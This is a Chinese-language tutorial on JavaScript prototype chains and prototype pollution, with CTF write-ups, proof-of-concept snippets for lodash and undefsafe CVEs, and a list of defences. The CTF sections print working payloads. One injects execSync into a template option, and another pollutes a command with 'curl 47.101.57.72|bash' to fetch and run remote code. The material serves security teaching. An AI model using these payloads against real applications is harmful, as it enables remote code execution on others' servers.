谭谈 Javascript 原型链与原型链污染
字数 1112 2025-08-05 00:15:18

JavaScript 原型链与原型链污染详解

一、JavaScript 原型链基础

1.1 原型链概念

JavaScript 使用原型链实现继承机制,每个对象都有一个私有属性 __proto__ 指向其构造函数的原型对象(prototype)。这个原型对象也有自己的原型,层层向上直到 null

关键点:

  • 每个构造函数都有一个 prototype 原型对象
  • 每个实例对象都有一个 __proto__ 属性,指向构造函数的 prototype
  • 原型对象中的 constructor 属性指向构造函数本身

1.2 原型链示例

function f() {
    this.a = 1;
    this.b = 2;
}
let o = new f(); // {a: 1, b: 2}

f.prototype.b = 3;
f.prototype.c = 4;

// 原型链:
// o ---> f.prototype ---> Object.prototype ---> null

1.3 属性查找机制

当访问对象属性时:

  1. 首先检查对象自身是否有该属性
  2. 如果没有,则检查对象的 __proto__(即构造函数的 prototype
  3. 继续向上查找直到 Object.prototype
  4. 如果最终未找到,返回 undefined

二、原型链污染原理

2.1 基本概念

原型链污染是指通过修改对象的原型,影响所有继承该原型的对象。

object1 = {"a":1,"b":2};
object1.__proto__.foo = "Hello World";

object2 = {"c":1,"d":2};
console.log(object2.foo); // 输出 "Hello World"

2.2 污染条件

当能够控制以下形式的操作时,可能造成原型链污染:

object[a][b] = value

如果能够控制 a__proto__,则可以修改对象的原型。

三、常见污染场景

3.1 Merge 操作污染

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)

let object3 = {}
console.log(object3.b) // 输出 2

3.2 CTF 例题分析

[GYCTF2020]Ez_Express

漏洞点:

const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

// 污染点
req.session.user.data = clone(req.body);

利用方式:

  1. 注册特殊用户名绕过(利用 toUpperCase() 特性)
  2. 发送污染 payload:
{
    "lua": "123",
    "__proto__": {
        "outputFunctionName": "t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"
    },
    "Submit": ""
}

[网鼎杯 2020 青龙组]notes

漏洞点:

// 使用不安全的 undefsafe 模块
edit_note(id, author, raw) {
    undefsafe(this.note_list, id + '.author', author);
    undefsafe(this.note_list, id + '.raw_note', raw);
}

// 命令执行点
app.route('/status').get(function(req, res) {
    let commands = {"script-1":"uptime","script-2":"free -m"};
    for (let index in commands) {
        exec(commands[index], {shell: '/bin/bash'}, (err, stdout, stderr) => {
            if (err) { return; }
            console.log(`stdout: ${stdout}`);
        });
    }
})

利用方式:

  1. 发送污染请求:
POST /edit_note
id=__proto__.aaa&author=curl 47.101.57.72|bash&raw=lalala;
  1. 访问 /status 触发命令执行

四、常见库的污染漏洞

4.1 Lodash 漏洞

CVE-2019-10744 (defaultsDeep)

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}';

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
}
check();

merge 方法污染

var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';
var a = {};
lodash.merge({}, JSON.parse(payload));
console.log(a.whoami); // "Vulnerable"

set/setWith 方法污染

var object_1 = {'a': [{'b': {'c': 3}}]};
var object_2 = {}
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami); // "Vulnerable"

4.2 Undefsafe 漏洞 (CVE-2019-10795)

var a = require("undefsafe");
var test = {}
a(test, '__proto__.toString', function(){return 'just a evil!'})
console.log('this is ' + test) // "this is just a evil!"

五、防御措施

  1. 避免不安全的递归合并
  2. 使用 Object.freeze(Object.prototype) 冻结原型
  3. 检查属性键名,过滤 __proto__constructor 等敏感属性
  4. 使用无污染风险的替代库或更新到安全版本
  5. 使用 Map 代替 Object 作为键值对存储

六、总结

原型链污染是 JavaScript 特有的安全问题,主要由于:

  1. JavaScript 灵活的原型继承机制
  2. 不安全的对象操作(如递归合并)
  3. 未对用户输入进行充分过滤

在实际开发中,应特别注意对象操作的安全性,尤其是涉及用户可控数据的场景。对于第三方库,应及时更新到已知的安全版本。

JavaScript 原型链与原型链污染详解 一、JavaScript 原型链基础 1.1 原型链概念 JavaScript 使用原型链实现继承机制,每个对象都有一个私有属性 __proto__ 指向其构造函数的原型对象(prototype)。这个原型对象也有自己的原型,层层向上直到 null 。 关键点: 每个构造函数都有一个 prototype 原型对象 每个实例对象都有一个 __proto__ 属性,指向构造函数的 prototype 原型对象中的 constructor 属性指向构造函数本身 1.2 原型链示例 1.3 属性查找机制 当访问对象属性时: 首先检查对象自身是否有该属性 如果没有,则检查对象的 __proto__ (即构造函数的 prototype ) 继续向上查找直到 Object.prototype 如果最终未找到,返回 undefined 二、原型链污染原理 2.1 基本概念 原型链污染是指通过修改对象的原型,影响所有继承该原型的对象。 2.2 污染条件 当能够控制以下形式的操作时,可能造成原型链污染: 如果能够控制 a 为 __proto__ ,则可以修改对象的原型。 三、常见污染场景 3.1 Merge 操作污染 3.2 CTF 例题分析 [ GYCTF2020]Ez_ Express 漏洞点: 利用方式: 注册特殊用户名绕过(利用 toUpperCase() 特性) 发送污染 payload: [ 网鼎杯 2020 青龙组 ]notes 漏洞点: 利用方式: 发送污染请求: 访问 /status 触发命令执行 四、常见库的污染漏洞 4.1 Lodash 漏洞 CVE-2019-10744 (defaultsDeep) merge 方法污染 set/setWith 方法污染 4.2 Undefsafe 漏洞 (CVE-2019-10795) 五、防御措施 避免不安全的递归合并 使用 Object.freeze(Object.prototype) 冻结原型 检查属性键名,过滤 __proto__ 、 constructor 等敏感属性 使用无污染风险的替代库或更新到安全版本 使用 Map 代替 Object 作为键值对存储 六、总结 原型链污染是 JavaScript 特有的安全问题,主要由于: JavaScript 灵活的原型继承机制 不安全的对象操作(如递归合并) 未对用户输入进行充分过滤 在实际开发中,应特别注意对象操作的安全性,尤其是涉及用户可控数据的场景。对于第三方库,应及时更新到已知的安全版本。